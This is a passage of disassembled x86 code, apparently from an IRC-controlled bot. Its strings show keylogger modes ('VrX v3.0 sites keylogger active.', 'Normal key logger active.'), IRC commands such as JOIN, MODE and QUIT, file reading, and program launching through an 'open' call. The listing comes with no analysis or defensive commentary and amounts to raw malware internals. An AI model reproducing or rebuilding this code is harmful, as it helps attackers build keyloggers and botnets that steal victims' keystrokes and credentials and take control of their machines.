		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 269040Ah
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 269040Ah
		nop
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		call	near ptr 269063Fh
		nop
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 269040Ah
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 26A0E14h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
